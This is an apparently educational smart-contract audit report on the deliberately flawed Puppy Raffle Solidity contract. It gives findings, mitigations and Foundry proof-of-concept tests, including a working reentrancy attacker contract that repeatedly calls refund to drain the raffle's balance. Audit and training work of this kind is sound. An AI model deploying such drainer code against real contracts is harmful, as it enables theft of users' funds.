
# Puppy Raffle Audit Report

Version 1.0

*Kotte Mohan krishna*

May 23, 2025

# Protocol Audit Report

Kotte Mohan Krishna

May, 2025

Prepared by: Mohan Kotte Lead Security Researcher: Mohan Kotte

## Table of Contents



## Protocol Summary

## Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The Mohan Kotte team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings described in this document correspond the following commit hash:**

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

**Scope:**

```
./src/
#-- PuppyRaffle.sol
```

**Roles**

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

I loved auditing this codebase. Patrick is such a wizard at writing intentionally Bad Code ): ## Issues found

| severity | Number of issues found |
|---|---|
| High | 3 |
| Medium | 2 |
| Low | 1 |
| Info | 7 |
| Gas | 2 |
| Total | 15 |

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle:refund` allows entrant to drain raffle balance

**Description:** The `PuppyRaffle:refund` function does not follow CEI (checks,Effects, Interactions) and as a result, enables participants to drain the contract balance

In the `puppyRaffle:refund` function, we first make an external call to the `msg,sender` address and only after making the external call do we update the `PuppyRaffle:players` array

```
1     function refund(uint256 playerIndex) public {
2
3         address playerAddress = players[playerIndex];
4         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
6 @>      payable(msg.sender).sendValue(entranceFee);
7 @>      players[playerIndex] = address(0);
8         emit RaffleRefunded(playerAddress);
9     }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle:refund` function again and claim another refund. They could continue the same cycle until the contact balance gets drained.

**Impact:** All Fees paid by the raffle entrants could be a stolen by the malicious participants

**Proof of Concept:**

1. User enters the raffle
2. Attacker setups a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enter the raffle
4. Attacker calls `PuppyRaffle:refund` from their attack contract, draining the contract balance

**Proof of code**

Code

Place the following into `PuppyRaffleTest.t.sol`

```

    function testReentrancyRefund() public{
         address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackuser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerContractBalance =  address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

```

```
17          vm.prank(attackUser);
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("Starting attacker contract balance",
                startingAttackerContractBalance);
21          console.log("Starting contract balnace",
                startingContractBalance);
22
23          console.log("Ending attacker contract balance", address(
                attackerContract).balance);
24          console.log("Ending contract balance", address(puppyRaffle).
                balance);
25
26      }
```

Add this contract as well

```
1
2  contract ReentrancyAttacker {
3      PuppyRaffle puppyRaffle;
4      uint256 entranceFee;
5      uint256 attackerIndex;
6
7      constructor(PuppyRaffle _puppyRaffle){
8          puppyRaffle = _puppyRaffle;
9          entranceFee = puppyRaffle.entranceFee();
10     }
11
12     function attack() external payable {
13         address[] memory players = new address[](1);
14         players[0] = address(this);
15         puppyRaffle.enterRaffle{value: entranceFee}(players);
16
17         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if(address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28             _stealMoney();
29     }
30
31     receive() external payable {
32             _stealMoney();
33     }
```

```
34 }
```

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle:refund` function update the `player` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5 +       players[playerIndex] = address(0);
6 +       emit RaffleRefunded(playerAddress);
7         payable(msg.sender).sendValue(entranceFee);
8 -       players[playerIndex] = address(0);
9 -       emit RaffleRefunded(playerAddress);
10    }
```

### [H-2] Weak Randmness in `PuppyRaffle::selectWinnere` allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** Hashing `msg.sender` `block.timestamp`, and `block.difficulty` together creates a predictable find number. A Predictable number is not a good random number. Malicious users can Manipulate values or know the ahead of time to choose the winner of the raffle themselves

*Note:* This additionally means user could front-run function and call `refund` if they see they are not winner

**Impact:** Any user can influence the winner of the raffle, winning the money and slecting the `rarest` puppy. Making the entire raffle i useless if it becomes a gas war as to who wins the raffles

**Proof of Concept:**

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the (solidity blog on prevrandao)(https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated th winner
3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

**Recommended Mitigation:** Consider Using a Cryptographically provable random number generator such as Chainlink VRF.

### [H-3] Integer Overflow of `Puppyraffle::totalFees` loses fees

**Description:** In solidity versions prior to `0.8.0` integers were subject to integer overflows

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` May not collect the correct amount of fees, leaves fees permanently stuck in the contract

**Proof of Concept:**

1. we conclude a raffle of 4 Players
2. we then 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow
totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol, there will be too much `balance` in the contract that the above `require` will be impossible to be hit

**Recommended Mitigation:** There are few possible mitigations.

1. Use a newer version solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `safeMath` library of openzeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fee are collected
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend to removing it regardless

## Medium

### [M-1] Looping through the players array to check for the duplicate entries in `PuppyRaffle::enterRaffle` is a potential Denial of Service attack, Incrementing gas cost for future entrants

**Description:** The `puppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `puppyRaffle::players` array is, the more checks a new player will have to make. This means that the gas cost for player who entered Raffle earlier will dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make

```
1 // @audit DOS Attack
2 @>     for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

**Impact:** The gas costs for the raffle entarants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `puppyRaffle::entarants` array so big, that no one else enters, guarenteeing themselves the win

**Proof of Concept:**

If we have two sets of 100 Players the gas required for ths second set of players is probably more than first set of players

can be like :

- 1st 100 players: ~6252048 gas
- 2nd 100 players: ~18068138 gas

This is 3x more expensive for the second set of 100 Players

PoC

Place the following test into `puppyRaffletest.t.sol`.

```
1         function test_denialOfService() public {
2          vm.txGasPrice(1);
3          // Lets enter 100 players
4          uint256 playersNum = 100;
```

```
5           address[] memory players = new address[](playersNum);
6           for(uint256 i = 0 ; i<playersNum ; i++){
7               players[i] = address(i);
8           }
9               uint256 gasStart = gasleft();
10              puppyRaffle.enterRaffle{value: entranceFee * players.length
                    }(players);
11              uint256 gasEnd = gasleft();
12
13              uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
14              console.log("Gas cost of the first 100 players",
                    gasUsedFirst);
15
16
17          address[] memory playersTwo = new address[](playersNum);
18          for(uint256 i = 0 ; i<playersNum ; i++){
19              playersTwo[i] = address( i+ playersNum);
20          }
21              uint256 gasStartSecond = gasleft();
22              puppyRaffle.enterRaffle{value: entranceFee * players.length
                    }(playersTwo);
23              uint256 gasEndSecond = gasleft();
24
25              uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
                    tx.gasprice;
26              console.log("Gas cost of the first 100 players",
                    gasUsedSecond);
27
28              assert(gasUsedSecond > gasUsedFirst);
29      }
30  }
```

**Recommended Mitigation:**

1. Consider allowing duplicates. Users can make new wallet adddresses anyways, so a duplicate check doesn't prevent the same person from the entering multiple times, only the same wallet addresses
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered

### [M-2] Smart contract Wallets Raffle winners without a `receive` or `fallback` function will block the start of a new contest

**Description:** The `puppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smartContract that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter , but it could cost a lot de to the duplicate check and a lottery reset could get very challenging

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult

Also, true winners could not get paid out and someone else could take their money!

**Proof of Concept:**

1. 10 smart contract wallets enters the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issues.

1. Do not allow smart contract wallet entrants (not recommended)
2. create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` funcrion, putting the owness on the winner to claim their prize (recommended)

> pull over push

### Low

#### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

**Description** If a players is in `PuppyRaffle::players` array at index 0, this will return 0, but accordingly to the natspec, it will also return 0 if the player is not in the array

```
1  function getActivePlayerIndex(address player) external view returns (
      uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
```

**Impact** A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

**proof of Concept**

1. User enter the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

**Recommend Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competetion, but a better solution might be to return an `int256` where the function returns -1 if the player is not active

## Gas

#### [G-1] Unchanged variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances:

- `PuppyRaffle:raffleDuration` should be `immutable`
- `PuppyRaffle:commonImageUri` should be `constant`
- `PuppyRaffle:rareImageUri` should be `constant`
- `PuppyRaffle:legendaryImageUri` should be `constant`

#### [G-2] Storage variables in a loop should be should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

### Intentional/Non-crits

#### [I-1] Solidity pragma should be specific, not wide

Consider using a specific version of solidity in your contracts instead of a wide version For example, instead of `pragma solidity ^0.8.0`, use `pragma solidity 0.8.0`

#### [I-2] Using a outdated version of solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more

#### [I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol: 70

#### [I-4] `PuppyRaffle:selectWinner` doesnot follow CEI, which is not a best practise

It's a best to keep code clean and follow CEI (checks,Effects and Interactions)

```
1  -        (bool success,) = winner.call{value: prizePool}("");
2  -        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3           _safeMint(winner, tokenId);
4  +        (bool success,) = winner.call{value: prizePool}("");
5  +        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

#### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's a much more readable if the numbers are given a name

```
-         uint256 prizePool = (totalAmountCollected * 80) / 100;
          uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, You Could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80
 uint256 public constant FEE_PERCENTAGE = 20
uint256 public constant PRECESION = 100
```

### [I-6] State changes are missing events

### [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed